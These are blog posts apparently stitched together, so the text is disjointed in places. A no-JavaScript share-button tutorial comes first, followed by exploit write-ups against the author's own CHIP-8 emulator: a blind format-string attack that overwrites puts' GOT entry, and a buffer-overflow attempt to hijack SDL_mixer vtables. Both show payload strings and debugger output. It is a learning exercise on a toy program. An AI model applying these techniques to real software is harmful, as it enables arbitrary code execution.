Anyhow I like to have share buttons for various social medias on my blog posts, but the default share buttons for X and LinkedIn use JavaScript. Not only that but the X button appears to be particularly slow to load. I have noticed this on my website and some other websites as well: it may be a mistake on my side, though.

The thing that bugs me about this share buttons is that they need some JavaScript embedded in the page. While I haven’t reversed the code to understand what it does, I think it is completely useless to have such code in the first place (I guess it may be do some analytics related stuff, which I don’t care about). All the button have to do is redirect the user to a certain page. Also some privacy concerned user might have JS disabled (think TOR Browser for example) which would cause the buttons to not work (maybe not so important because a privacy concerned user may not want to share what they are reading in the first place, but still).

So anyhow I want to share how you can implement share buttons for Mastodon, BlueSky, X and LinkedIn without a line of JS. The structure of all the buttons will be the following

<a class="share share-[social media name]" target="_blank" title="Share on [social media name]"
    href="[statically generated share link]">
    <svg></svg>
    <div>[Text]</div>
</a>

All the links are statically generated using Jekyll’s templating language.

The share CSS class handles the general layout of the button, note that I’m using SASS

a.share {
    border-radius: 0.2em;
    height: 21px;
    text-decoration: none;

    display: flex;
    flex-direction: row;
    align-items: center;

    padding-left: 5px;
    padding-right: 5px;

    svg {
        height: 15px;
        width: 15px;
        margin-right: 3px;
    }

    div {
        font-size: 15px;
        font-family: Helvetica, Arial, sans-serif;
    }
}

Mastodon

I used the service Mastodon Share to implement the share button. The code follows

<a href="https://mastodonshare.com/?text={{ page.title }}&url={{ site.url }}{{ page.url }}"
    class="share share-mastodon" target="_blank" title="Share on Mastodon">
    <svg width="74" height="79" viewBox="0 0 74 79" fill="black"
        xmlns="http://www.w3.org/2000/svg">
        <path
            d="M73.7014 17.4323C72.5616 9.05152 65.1774 2.4469 56.424 1.1671C54.9472 0.950843 49.3518 0.163818 36.3901 0.163818H36.2933C23.3281 0.163818 20.5465 0.950843 19.0697 1.1671C10.56 2.41145 2.78877 8.34604 0.903306 16.826C-0.00357854 21.0022 -0.100361 25.6322 0.068112 29.8793C0.308275 35.9699 0.354874 42.0498 0.91406 48.1156C1.30064 52.1448 1.97502 56.1419 2.93215 60.0769C4.72441 67.3445 11.9795 73.3925 19.0876 75.86C26.6979 78.4332 34.8821 78.8603 42.724 77.0937C43.5866 76.8952 44.4398 76.6647 45.2833 76.4024C47.1867 75.8033 49.4199 75.1332 51.0616 73.9562C51.0841 73.9397 51.1026 73.9184 51.1156 73.8938C51.1286 73.8693 51.1359 73.8421 51.1368 73.8144V67.9366C51.1364 67.9107 51.1302 67.8852 51.1186 67.862C51.1069 67.8388 51.0902 67.8184 51.0695 67.8025C51.0489 67.7865 51.0249 67.7753 50.9994 67.7696C50.9738 67.764 50.9473 67.7641 50.9218 67.7699C45.8976 68.9569 40.7491 69.5519 35.5836 69.5425C26.694 69.5425 24.3031 65.3699 23.6184 63.6327C23.0681 62.1314 22.7186 60.5654 22.5789 58.9744C22.5775 58.9477 22.5825 58.921 22.5934 58.8965C22.6043 58.8721 22.621 58.8505 22.6419 58.8336C22.6629 58.8167 22.6876 58.8049 22.714 58.7992C22.7404 58.7934 22.7678 58.794 22.794 58.8007C27.7345 59.9796 32.799 60.5746 37.8813 60.5733C39.1036 60.5733 40.3223 60.5733 41.5447 60.5414C46.6562 60.3996 52.0437 60.1408 57.0728 59.1694C57.1983 59.1446 57.3237 59.1233 57.4313 59.0914C65.3638 57.5847 72.9128 52.8555 73.6799 40.8799C73.7086 40.4084 73.7803 35.9415 73.7803 35.4523C73.7839 33.7896 74.3216 23.6576 73.7014 17.4323ZM61.4925 47.3144H53.1514V27.107C53.1514 22.8528 51.3591 20.6832 47.7136 20.6832C43.7061 20.6832 41.6988 23.2499 41.6988 28.3194V39.3803H33.4078V28.3194C33.4078 23.2499 31.3969 20.6832 27.3894 20.6832C23.7654 20.6832 21.9552 22.8528 21.9516 27.107V47.3144H13.6176V26.4937C13.6176 22.2395 14.7157 18.8598 16.9118 16.3545C19.1772 13.8552 22.1488 12.5719 25.8373 12.5719C30.1064 12.5719 33.3325 14.1955 35.4832 17.4394L37.5587 20.8853L39.6377 17.4394C41.7884 14.1955 45.0145 12.5719 49.2765 12.5719C52.9614 12.5719 55.9329 13.8552 58.2055 16.3545C60.4017 18.8574 61.4997 22.2371 61.4997 26.4937L61.4925 47.3144Z"
            fill="inherit" />
    </svg>
    <div>Toot</div>
</a>

And for the style:

a.share-mastodon {
    background: #2b90d9;

    svg {
        fill: white;
    }

    div {
        color: white;
    }
}

BlueSky

For BlueSky we don’t need a specific service for sharing. My first inspiration for the code was this blog post

<a class="share share-bluesky" target="_blank" title="Share on Bluesky"
    href="https://bsky.app/intent/compose?text={{ site.url }}{{ page.url }}">
    <svg width="1em" height="1em" fill="inherit" viewBox="0 0 600 530"
        xmlns="http://www.w3.org/2000/svg">
        <path
            d="m135.72 44.03c66.496 49.921 138.02 151.14 164.28 205.46 26.262-54.316 97.782-155.54 164.28-205.46 47.98-36.021 125.72-63.892 125.72 24.795 0 17.712-10.155 148.79-16.111 170.07-20.703 73.984-96.144 92.854-163.25 81.433 117.3 19.964 147.14 86.092 82.697 152.22-122.39 125.59-175.91-31.511-189.63-71.766-2.514-7.3797-3.6904-10.832-3.7077-7.8964-0.0174-2.9357-1.1937 0.51669-3.7077 7.8964-13.714 40.255-67.233 197.36-189.63 71.766-64.444-66.128-34.605-132.26 82.697-152.22-67.108 11.421-142.55-7.4491-163.25-81.433-5.9562-21.282-16.111-152.36-16.111-170.07 0-88.687 77.742-60.816 125.72-24.795z" />
    </svg>
    <div>Skeet</div>
</a>

And the style:

a.share-bluesky {
    background: #1185fe;

    svg {
        fill: white;
    }

    div {
        color: white;
    }
}

X

Okay let me first be clear: I don’t like X’s owner. However there are still a lot of interesting people which have not moved to Mastodon or BlueSky so I’m still there. Also there I often find interesting posts on security, so I think “boycotting X by not having an X share button” would only hurt me, rather than X. The HTML:

<a class="share share-x" target="_blank" title="Share on X"
    href="https://x.com/intent/post?original_referer={{ site.url }}%2F&text={{ page.title }}&url={{ site.url }}{{ page.url }}">
    <svg width="1200" height="1227" viewBox="0 0 1200 1227" fill="inherit"
        xmlns="http://www.w3.org/2000/svg">
        <path
            d="M714.163 519.284L1160.89 0H1055.03L667.137 450.887L357.328 0H0L468.492 681.821L0 1226.37H105.866L515.491 750.218L842.672 1226.37H1200L714.137 519.284H714.163ZM569.165 687.828L521.697 619.934L144.011 79.6944H306.615L611.412 515.685L658.88 583.579L1055.08 1150.3H892.476L569.165 687.854V687.828Z"
            fill="white" />
    </svg>
    <div>Post</div>
</a>

The style of course involes the “fascist black” color:

a.share-x {
    background: black;

    svg {
        fill: white;
    }

    div {
        color: white;
    }
}

LinkedIn

The HTML code:

<a class="share share-linkedin" target="_blank" title="Share on LinkedIn"
    href="https://www.linkedin.com/feed/?linkOrigin=LI_BADGE&shareActive=true&shareUrl={{ site.url }}{{ page.url }}">
    <svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" width="100" height="100"
        viewBox="0 0 50 50" fill="inherit">
        <path
            d="M41,4H9C6.24,4,4,6.24,4,9v32c0,2.76,2.24,5,5,5h32c2.76,0,5-2.24,5-5V9C46,6.24,43.76,4,41,4z M17,20v19h-6V20H17z M11,14.47c0-1.4,1.2-2.47,3-2.47s2.93,1.07,3,2.47c0,1.4-1.12,2.53-3,2.53C12.2,17,11,15.87,11,14.47z M39,39h-6c0,0,0-9.26,0-10 c0-2-1-4-3.5-4.04h-0.08C27,24.96,26,27.02,26,29c0,0.91,0,10,0,10h-6V20h6v2.56c0,0,1.93-2.56,5.81-2.56 c3.97,0,7.19,2.73,7.19,8.26V39z">
        </path>
    </svg>
    <div>Share</div>
</a>

And the style:

a.share-linkedin {
    background: #0a66c2;

    svg {
        fill: white;
    }

    div {
        color: white;
    }
}

Conclusion

This was a short blog post to share this code snippets which allow you to have share buttons which do not involve any JavaScript. You are free to embed them on your blog, no need to credit me, however if you do I’d love if you’d let me know: you find my contacts on my homepage.

As I was browsing through X I came across this post. When trying to exploit the emulator before I realized I could call printf with an arbitrary format string, I also checked quickly resources online, but mainly they exploit format string bugs which are not blind (you can see and read the output of the printf). Here the situation is different as the output would be on the terminal of the remote computer which we can’t read. However, as I saw the above post I realized blind format string exploits are a thing and I decided to investigate whether they would work here.

For context I reccomend you read the post I linked as well as keep the man page for printf open while you read and refer to it often.

Blind printf exploit

The general idea is using printf to first leak a libc address into the Chip8 memory. Then we process this using the Chip8’s assembly to compute the address of system. Finally we use printf again to overwrite the GOT entry of puts and we have arbitrary code execution.

First step is placing a pointer to some Chip8 memory onto the stack. We will need this because with the format %n (which is the only writing primitive in format strings) we can write only to pointers which are on the stack.

I decided to use address 0x405220 which corresponds to the VM address 0x100. This is what the stack looks like at a printf call

pwndbg> stack 15
00:0000│ rsp 0x7ffdd9892408 —▸ 0x7fa214d6be59 (Mix_FadeInMusicPos+265) ◂— mov ebp, eax
01:0008│     0x7ffdd9892410 —▸ 0x7ffdd9892568 —▸ 0x7ffdd989419f ◂— '/home/luca/Documents/CHIP8-Emulator-C/src/Chip8'
02:0010│     0x7ffdd9892418 —▸ 0x7ffdd9892450 ◂— 2
03:0018│     0x7ffdd9892420 —▸ 0x7fa214fcd000 (_rtld_global) —▸ 0x7fa214fce2e0 ◂— 0
04:0020│     0x7ffdd9892428 —▸ 0x4013fd (main+295) ◂— movzx eax, byte ptr [rip + 0x5556]
05:0028│     0x7ffdd9892430 —▸ 0x7ffdd9892568 —▸ 0x7ffdd989419f ◂— '/home/luca/Documents/CHIP8-Emulator-C/src/Chip8'
06:0030│     0x7ffdd9892438 ◂— 0x254442d18
07:0038│     0x7ffdd9892440 ◂— 0x3fe0000000000000
08:0040│     0x7ffdd9892448 ◂— 0xb00000000
09:0048│     0x7ffdd9892450 ◂— 2
0a:0050│     0x7ffdd9892458 —▸ 0x7fa214b91dba (__libc_start_call_main+122) ◂— mov edi, eax
0b:0058│     0x7ffdd9892460 ◂— 0x3ada368abac064c3
0c:0060│     0x7ffdd9892468 —▸ 0x4012d6 (main) ◂— push rbp
0d:0068│     0x7ffdd9892470 ◂— 0x2bac064c3
0e:0070│     0x7ffdd9892478 —▸ 0x7ffdd9892568 —▸ 0x7ffdd989419f ◂— '/home/luca/Documents/CHIP8-Emulator-C/src/Chip8'

I decided to write the address 0x405220 at the stack address 0x7ffdd9892568, which is as you can see, where the program name is stored on the stack. To do so I used to following code

    asm.write_bytes(0x0, b"%" + str(PRINTF_LEAK_ADDR).encode("ascii") + b"c%6$ln\x00")
    asm.native_call_primitive(PRINTF_PLT)

Here PRINTF_LEAK_ADDR is 0x405220. In particular the format stores the value 0x405220 into the character counter and then dumps it using the %ln format with the appropriate argument index.

Now that we have the address we want to write too we can leak there some libc address. In particular we have the address of __libc_start_call_main+122, 0x7fa214b91dba, on the stack. To leak this we need to use first the format %*15$c which reads the argument with index 15 into the character counter. In particular the *15$ part says that the 15th argument, which is supposed to be an int, stores the value that need to be used as the field width (refer to the man pages for details). This is precisely the argument index of the __libc_start_call_main+122 address. Unfortunately, we do not control the type here, the value is interpreted as int, so we can only read the lower 32 bits. However this will prove sufficient, because we will just overwrite the lower 32 bits of the GOT entry of puts. Further it is a signed int which will lead to some weirdness when the MSB of the lower 32 bits is set (whether this is set or not depends on ASLR, so it is random).

Now that we read the value we dump it into the chip8’s memory at 0x405220 using the format %49$ln. So the final code looks like

    asm.write_bytes(0x0, b"%*15$c%49$ln\x00")
    asm.native_call_primitive(PRINTF_PLT)

Now let me go back to the problem with signed ints. For example let me take the case where __libc_start_call_main+122 is 0x7ffff7bc1dba. The lower 32 bits are 0xf7bc1dba and thus have the sign bit set. In this case what gets written at the leak location is the value 0x0843e246. However after some thinking about this and how the printf code may work (I did not actually read the code) I realized that we always have actual_lower_32_bits + leak_value = 0x100000000 (i.e. the leaked value is the two’s complement of the real value) so that we can always recover the actual value from the leaked one anyhow. If the sign bit is not set then the leaked value is just the real value of the lower 32 bits.

So we process the leak as follows:

• look at the page offset of the leaked value (this is independent of ASLR): if it is 0xdba the leak is the actual value and we need to do nothing,
• otherwise compute the actual value by getting the two’s complement.

After implementing this in the chip8’s instructions, we add the offset to system to the leak with more instructions. Then we can leverage printf again to overwrite the lower 32-bits of some GOT entry (let me chose puts which is at address 0x405038). To keep the previous setup in place I write this to a different stack location with format strings.

pwndbg> stack 15
00:0000│ rsp 0x7ffc39a50a00 —▸ 0x7ffc39a50b58 —▸ 0x405220 (chip+256) ◂— 0xffffffffb0e8f050
01:0008│-038 0x7ffc39a50a08 —▸ 0x7ffc39a50a40 —▸ 0x405038 (puts@got[plt]) —▸ 0x7ff7b0eb8e60 (puts) ◂— push r14
02:0010│-030 0x7ffc39a50a10 —▸ 0x7ff7b12a4000 (_rtld_global) —▸ 0x7ff7b12a52e0 ◂— 0
03:0018│-028 0x7ffc39a50a18 —▸ 0x4013fd (main+295) ◂— movzx eax, byte ptr [rip + 0x5556]
04:0020│-020 0x7ffc39a50a20 —▸ 0x7ffc39a50b58 —▸ 0x405220 (chip+256) ◂— 0xffffffffb0e8f050
05:0028│-018 0x7ffc39a50a28 ◂— 0x254442d18
06:0030│-010 0x7ffc39a50a30 ◂— 0x3fe0000000000000
07:0038│-008 0x7ffc39a50a38 ◂— 0xb00000000
08:0040│ rbp 0x7ffc39a50a40 —▸ 0x405038 (puts@got[plt]) —▸ 0x7ff7b0eb8e60 (puts) ◂— push r14
09:0048│+008 0x7ffc39a50a48 —▸ 0x7ff7b0e68dba (__libc_start_call_main+122) ◂— mov edi, eax
0a:0050│+010 0x7ffc39a50a50 ◂— 0x3ada368abac064c3
0b:0058│+018 0x7ffc39a50a58 —▸ 0x4012d6 (main) ◂— push rbp
0c:0060│+020 0x7ffc39a50a60 ◂— 0x2bac064c3
0d:0068│+028 0x7ffc39a50a68 —▸ 0x7ffc39a50b58 —▸ 0x405220 (chip+256) ◂— 0xffffffffb0e8f050
0e:0070│+030 0x7ffc39a50a70 —▸ 0x7ffc39a50b58 —▸ 0x405220 (chip+256) ◂— 0xffffffffb0e8f050

As you can see we both have the leak address and the puts GOT address somewhere on the stack now.

Now comes the annoying part: we need to generate the format string that will overwrite the GOT entry ourself in the chip8 program. Ideally one would use the format %<value to write in decimal ascii>c to load the value in the character counter. However converting to decimal is not so easy as there is no division operation on the chip8.

What I ended up doing is checking the values bit by bit and adding the format strings %1$<some power of 2>c: for example the binary number 1011 would convert to %1$1c%1$2c%1$8c. I also spitted the write in two steps as this seemed to work better and it also produce smaller format strings, so each time I write only 16 bits using the format %14$hn (14 references the pointer to puts@got[plt] we previously written on the stack). Splitting the write in two also means we need to update the GOT address on the stack before the second write.

After this is done the exploit is completed using again the arbitrary call primitive to call puts@plt with any command we want to run as first argument.

Conclusion

The exploit works fully reliably, however, unless the output of the program is piped into /dev/null it is extremely slow as a lot of characters need to actually be printed. This was just a learning project anyhow and I learned a lot about format string exploits along the way, I hope at the end of this journey you have learned something to, dear reader. Anyhow here is the exploit code which will generate a malicious ROM that spawns a calculator

// load content from ROM into memory
void load_ROM(char* filename){
	FILE* f = fopen(filename, "rb");
	if(!f){
		printf("Error opening file!\n");
		exit(1);
	}

	fseek(f, 0L, SEEK_END);
	size_t size = ftell(f);
	fseek(f, 0L, SEEK_SET);

	fread(&chip.memory[ROM_START_ADDRESS], 1, size, f);

	fclose(f);
}

The file size is not checked before its contents are written using fread! Then while thinking how to exploit the above issue I found another interesting problem: in the fuction decode_instruction the decrement of the stack pointer for the return instruction

				case 0x00EE:
					// return from subroutine
					chip.pc = chip.stack[chip.stack_pointer-1];
					chip.stack_pointer--;				
				break; 

and the increment of the stack pointer for the call instruction

		case 0x2000:
			// call subroutine
			chip.stack[chip.stack_pointer] = chip.pc;
			chip.stack_pointer++;
			chip.pc = NNN;
			break;

do not check if the stack will under/over-flow respectively. This can also be used to corrupt memory beyond the limits of the chip.stack array! The question is now: can this be exploited? Can we make a malicious ROM capable of running arbitrary code?

Exploitation Attempt

For a start let’s try using a position dependent executable by modifying the makefile

# Makefile for CHIP-8 Emulator Project

CC = gcc
CFLAGS = -g -fno-pie
OBJS = main.o
TARGET = Chip8
LIBS = -lSDL2 -lSDL2_mixer

$(TARGET): $(OBJS)
	$(CC) -no-pie $(OBJS) -o $(TARGET) $(LIBS)

main.o: main.c main.h
	$(CC) $(CFLAGS) -c main.c
clean:
	rm -f *.o $(TARGET)

run: $(TARGET)
	./$(TARGET)

The overflow bugs allows corrupting the global struct Chip8, unfortunately the other global variables after the said structure

struct Chip8 chip;

SDL_Window* window;
SDL_Renderer* renderer;
SDL_Rect square;
Mix_Music *sound;

are initialized after the overflow happens in the init_SDL function so we can’t control them using the overflow. However I realized I can overwrite them to arbitrary values using this gadget (which is the code that handles the call instruction)

			// call subroutine
			chip.stack[chip.stack_pointer] = chip.pc;
			chip.stack_pointer++;
			chip.pc = NNN;
			break;

we can write the value of chip.pc to an arbitrary offset from chip.stack. We can control chip.stack_pointer using the buffer overflow for simplicity, but it should be possible to control it also using the fact that the incrementation of the stack pointer is not checked (so invoking call the right number of times we can overflow the VM stack and write other memory, this is in fact when I realized the second bug). Now that I knew I could overwrite global memory after init_SDL is called I started checking what SDL_Renderer looks like:

struct SDL_Renderer
{
    void (*WindowEvent)(SDL_Renderer *renderer, const SDL_WindowEvent *event);
    bool (*GetOutputSize)(SDL_Renderer *renderer, int *w, int *h);
    bool (*SupportsBlendMode)(SDL_Renderer *renderer, SDL_BlendMode blendMode);
    bool (*CreateTexture)(SDL_Renderer *renderer, SDL_Texture *texture, SDL_PropertiesID create_props);
    bool (*QueueSetViewport)(SDL_Renderer *renderer, SDL_RenderCommand *cmd);
<SNIP>
};

As I saw this I thought JACKPOT. There is what looks like a huge vtable which is great to control code execution. So at this point the plan was using the above primitive to make the global renderer pointer point to a memory region I control, where I would place a forged SDL_Renderer structure.

Writing arbitrary values using the write primitive

Let me focus on how exactly the overwriting of the renderer pointer works. The objective here is overwriting it with the value 0x406a5e which points somewhere after the global variables in an area I control via the overflow. Notice that the primitive allows to write 16 bits integers and we need to use it twice to first write the value 0x6a5e in the low bits and then 0x0040 in the high bits (the other 32 bits seem to be zeroed always). Let us take a look at struct Chip8:

struct Chip8{
        uint8_t memory[MEM_SIZE];
	uint8_t display[ROWS * COLUMNS];
	uint16_t pc;
	uint16_t index; 
	uint16_t stack[16];
	uint8_t stack_pointer;
	uint8_t delay;
	uint8_t sound;
	uint8_t registers[16];
	uint16_t op_code;
	uint8_t draw_flag;
	uint8_t draw_wait;
	uint8_t input[16];
};

MEM_SIZE here is 0x1000, during normal execution the program counter is supposed to be in the inclusive bounds 0x-0xfff, but we need to write the value 0x6a5e which is clearly beyond the bounds (recall the primitive writes chip.pc). The places where chip.pc is updated take its bounds into consideration: for example the code for the jump instruction is

		case 0x1000:
			// jump
			chip.pc = NNN;			
			break;

and NNN is correctly bounded uint16_t NNN = 0x0FFF & chip.op_code;. One place where chip.pc bounds are not checked is in the fetch_instruction function

void fetch_instruction(){
	chip.op_code = 0;
	chip.op_code = chip.memory[chip.pc % MEM_SIZE] << 8 | chip.memory[(chip.pc+1) % MEM_SIZE];
	chip.pc+=2;	
}

However using this to increment chip.pc to 0x6a5e is not possible as somewhere in the code we need to have a call instruction to trigger the write and this will reset PC into the correct range, while incrementing it to the target value would require executing all memory multiple times without resetting PC to the correct range while doing so. However what we can do is use the overflow to set PC to 0x6a5c at the beginning of the execution, the corresponding instruction fetched will be at the VM address 0xa5c (note that PC points already to the next instruction when the call handling code is executed, thus we need to set it to what we want to write minus 2).

The second value we have to write is 0x0040, luckily this is in the valid range, however the ROM is loaded starting from address 0x200. To add the call code (which triggers the gadget) at address 0x040 we need to use some Chip8 instructions.

The final assembly looks like this (honestly I do not know if there are standard mnemonics for Chip8 instructions, so I invented them).

At address 0xa5c, where execution begins due to the overwritten PC, we have

CALL 0x200

which writes the value 0x6a5e at the offset from chip.stack we control by controlling the stack pointer. The call moves to address 0x200 where we have

MOV V0, 0x22 ; store 0x22 into register V0
MOV V1, 0x22 ; store 0x22 into register V1
SETIDX 0x3e  ; set index to 0x3e
STORE 1      ; store registers V0 and V1 at index [0x3e] = V0, [0x3f] = V1
             ; notice that 0x2222 is the opcode for CALL 0x222
			 ; i chose this to avoid confusing myself with endianness
JUMP 0x3e    ; jump at 0x3e triggering the write

Again 0x3e is what we want to write minus 2. Notice that the stack pointer is incremented by call itself so we are already writing in the right memory location. Now what will be executed next depends on what we put at address 0x222, but we will discuss this later.

Arbitrary call primitive

Now that we control the renderer pointer we should be able to use its vtable to get an arbitrary call primitive pretty easily, right? Well, unfortunately the SDL2 pointers are validated against a global hash table and unless we control also that hash table, the vtable functions will never be called

bool SDL_ObjectValid(void *object, SDL_ObjectType type)
{
    if (!object) {
        return false;
    }

    const void *object_type;
    if (!SDL_FindInHashTable(SDL_objects, object, &object_type)) {
        return false;
    }

    return (((SDL_ObjectType)(uintptr_t)object_type) == type);
}

This seems more of a dynamic type check rather than a security mechanism, but it makes the exploitation more complicated too. OUCH!

However there still is Mix_Music *sound; which comes from a different library also by SDL called SDL_mixer. I thought maybe they will still use vtables here, but due to this being a newer library maybe this kind of checks are not there. And indeed

struct Mix_Music {
    Mix_MusicInterface *interface;
    void *context;

    bool playing;
    Mix_Fading fading;
    int fade_step;
    int fade_steps;

    char filename[1024];
};

The Mix_MusicInterface type sound like a vtable and in fact

typedef struct
{
    const char *tag;
    Mix_MusicAPI api;
    Mix_MusicType type;
    bool loaded;
    bool opened;

    /* Load the library */
    int (*Load)(void);

    /* Initialize for the audio output */
    int (*Open)(const SDL_AudioSpec *spec);

    /* Create a music object from an SDL_IOStream stream
     * If the function returns NULL, 'src' will be freed if needed by the caller.
     */
    void *(*CreateFromIO)(SDL_IOStream *src, bool closeio);

    /* Create a music object from a file, if SDL_IOStream are not supported */
    void *(*CreateFromFile)(const char *file);

    /* Set the volume */
    void (*SetVolume)(void *music, int volume);

    /* Get the volume */
    int (*GetVolume)(void *music);

    /* Start playing music from the beginning with an optional loop count */
    int (*Play)(void *music, int play_count);

    /* Returns true if music is still playing */
    bool (*IsPlaying)(void *music);

    /* Get music data, returns the number of bytes left */
    int (*GetAudio)(void *music, void *data, int bytes);

    /* Jump to a given order in mod music */
    int (*Jump)(void *music, int order);

    /* Seek to a play position (in seconds) */
    int (*Seek)(void *music, double position);

    /* Tell a play position (in seconds) */
    double (*Tell)(void *music);

    /* Get Music duration (in seconds) */
    double (*Duration)(void *music);

    /* Tell a loop start position (in seconds) */
    double (*LoopStart)(void *music);

    /* Tell a loop end position (in seconds) */
    double (*LoopEnd)(void *music);

    /* Tell a loop length position (in seconds) */
    double (*LoopLength)(void *music);

    /* Get a meta-tag string if available */
    const char* (*GetMetaTag)(void *music, Mix_MusicMetaTag tag_type);

    /* Get number of tracks. Returns -1 if not applicable */
    int (*GetNumTracks)(void *music);

    /* Start a specific track */
    int (*StartTrack)(void *music, int track);

    /* Pause playing music */
    void (*Pause)(void *music);

    /* Resume playing music */
    void (*Resume)(void *music);

    /* Stop playing music */
    void (*Stop)(void *music);

    /* Delete a music object */
    void (*Delete)(void *music);

    /* Close the library and clean up */
    void (*Close)(void);

    /* Unload the library */
    void (*Unload)(void);
} Mix_MusicInterface;

and the checks are missing too: BINGO!

So what we do with the assembly at 0x222? Well we need to call some of those virtual function. In main we have

		// play sound
		if(chip.sound){
			Mix_PlayMusic(sound, 1);
		}

and chip.sound is controlled via a specific instruction (let me call it SOUND X) which sets chip.sound to the value of VX. Since we already have some different than zero value in V0 and V1 we can just put the following assembly at0x222

SOUND 0

Now let me explore the SDL2_mixer source code. Here is Mix_PlayMusic

bool Mix_PlayMusic(Mix_Music *music, int loops)
{
    return Mix_FadeInMusicPos(music, loops, 0, 0.0);
}

Here is Mix_FadeInMusicPos

bool Mix_FadeInMusicPos(Mix_Music *music, int loops, int ms, double position)
{
    bool retval;

    if (ms_per_step == 0) {
        SDL_SetError("Audio device hasn't been opened");
        return false;
    }

    /* Don't play null pointers :-) */
    if (music == NULL) {
        SDL_SetError("music parameter was NULL");
        return false;
    }

    /* Setup the data */
    if (ms) {
        music->fading = MIX_FADING_IN;
    } else {
        music->fading = MIX_NO_FADING;
    }
    music->fade_step = 0;
    music->fade_steps = (ms + ms_per_step - 1) / ms_per_step;

    /* Play the puppy */
    Mix_LockAudio();
    /* If the current music is fading out, wait for the fade to complete */
    while (music_playing && (music_playing->fading == MIX_FADING_OUT)) {
        Mix_UnlockAudio();
        SDL_Delay(100);
        Mix_LockAudio();
    }
    if (loops == 0) {
        /* Loop is the number of times to play the audio */
        loops = 1;
    }
    retval = (music_internal_play(music, loops, position) == 0);
    /* Set music as active */
    music_active = retval;
    Mix_UnlockAudio();

    return retval;
}

The interesting bits seems to be in music_internal_play

static int music_internal_play(Mix_Music *music, int play_count, double position)
{
    int retval = 0;

    /* Note the music we're playing */
    if (music_playing) {
        music_internal_halt();
    }
    music_playing = music;
    music_playing->playing = true;

    /* Set the initial volume */
    music_internal_initialize_volume();

    /* Set up for playback */
    retval = music->interface->Play(music->context, play_count);

    /* Set the playback position, note any errors if an offset is used */
    if (retval == 0) {
        if (position > 0.0) {
            if (music_internal_position(position) < 0) {
                SDL_SetError("Position not implemented for music type");
                retval = -1;
            }
        } else {
            music_internal_position(0.0);
        }
    }

    /* If the setup failed, we're not playing any music anymore */
    if (retval < 0) {
        music->playing = false;
        music_playing = NULL;
    }
    return retval;
}

This function first checks if music is playing already by checking the global variable music_playing is not NULL: in that case there is music playing stored in the global pointer music_playing and it is stopped via music_internal_halt

static void music_internal_halt(void)
{
    if (music_playing->interface->Stop) {
        music_playing->interface->Stop(music_playing->context);
    }

    music_playing->playing = false;
    music_playing->fading = MIX_NO_FADING;
    music_playing = NULL;
}

This does call a function in the vtable (the Stop function): to trigger this we need to trigger Mix_PlayMusic twice before the first sample has finished playing.

Continuing the global music_playing is set and there is a call to music_internal_initialize_volume

static void music_internal_initialize_volume(void)
{
    if (music_playing->fading == MIX_FADING_IN) {
        music_internal_volume(0);
    } else {
        music_internal_volume(music_volume);
    }
}

which calls music_internal_volume

static void music_internal_volume(int volume)
{
    if (music_playing->interface->SetVolume) {
        music_playing->interface->SetVolume(music_playing->context, volume);
    }
}

which calls the SetVolume vtable function with the music_playing->context as first parameter. Clearly we control both the vtable and the context variable (which will be passed in the rdi register).

Then there is a another call to the vtable function Play again passing context as first argument: this is the second arbitrary call.

Finally, there is a call to music_internal_position

int music_internal_position(double position)
{
    if (music_playing->interface->Seek) {
        return music_playing->interface->Seek(music_playing->context, position);
    }
    return -1;
}

which will call the vtable function Seek.

At this point I was a bit stuck until I realized that I was placing the fake music object at the wrong address. In order for the Chip8 code to interact with these primitives I need to put the fake music object on the Chip8’s memory!

I decided to only use the call to Play as we can trigger it multiple times anyhow. All the other interface pointer are NULL-checked so I set them to NULLto avoid the calls.

The address we must now write to the global sound variable is 0x406020. Unfortunately, this seems impossible to me as I would have to write the value 0x6020 which would correspond to making execution start at a PC of 0x1e and I do not control what instructions are there at the beggining of the execution (well to be fair 0x406020 is chosen a bit randomly in the VM’s memory, there may be some address which can be written and is also in the VM’s memory, but at this point I started being lazy).

What I can however do is place the interface in the Chip8’s memory while having the fake music object places at the already said address: 0x406a5e.

Controlling calls from the Chip8 assembly

Now I am in a position in which I can control call instructions (the x64 call, not the chip8’s) from the chip8’s assembly, by simplying writing where I want to call at a specific memory location and then triggering the sound. Before at address 0x222 I was simpling triggering the sound once, now let me do something more complicated. We can first write where to call using the Chip8’s assembly and then call it by triggering the sound, in this way I have multiple controlled calls. And while I can’t control rdi at every call I made it point to the beggining of the Chip8’s memory so that I dynamically control what it points to. For example calling printf@plt I can achieve the following

└─$ ./Chip8 exploit
hello world
this is written by the chip8's code
zsh: segmentation fault  ./Chip8 exploit

Arbitrary file read using load_ROM

There is one interesting function to call and it is load_ROM! This just read any file into the Chip8’s memory starting at address 0x200. I thought I can just read /proc/self/maps and kill ASLR. Unfortunately, I’d like to find the libc base (to then call system) and the file is so big that the libc address wouldn’t end up in the readable memory. In general it turns out I can’t really read files under /proc as the size local variable in load_ROM ends up being zero when reading them.

Overall this is an interesting primitive, but not being able to read /proc files leaves me confused on how to use this to defeat ASLR (which is what keeping me from calling system and getting arbitrary code execution).

Conclusion

Unfortunately I was not able to turn this into arbitrary code execution: my limited knowledge and the fact that the imported functions by the binary are so few make the exploitation not straightforward. However I would argue there are loads of possibilities to be explored with the primitives I built.

Also this was all done disabling PIE, with PIE enabled the explotation seems more complicated. It would be possible to use a partial overwrite to overwrite the sound pointer, however this lives on the heap and we have no control of the heap, so even then the partial overwrite would be useless.

Anyhow, attached to this post is the full hello world exploit code. Please if you are able to turn this into arbitrary code execution let me know by sending a DM on X, thanks for reading!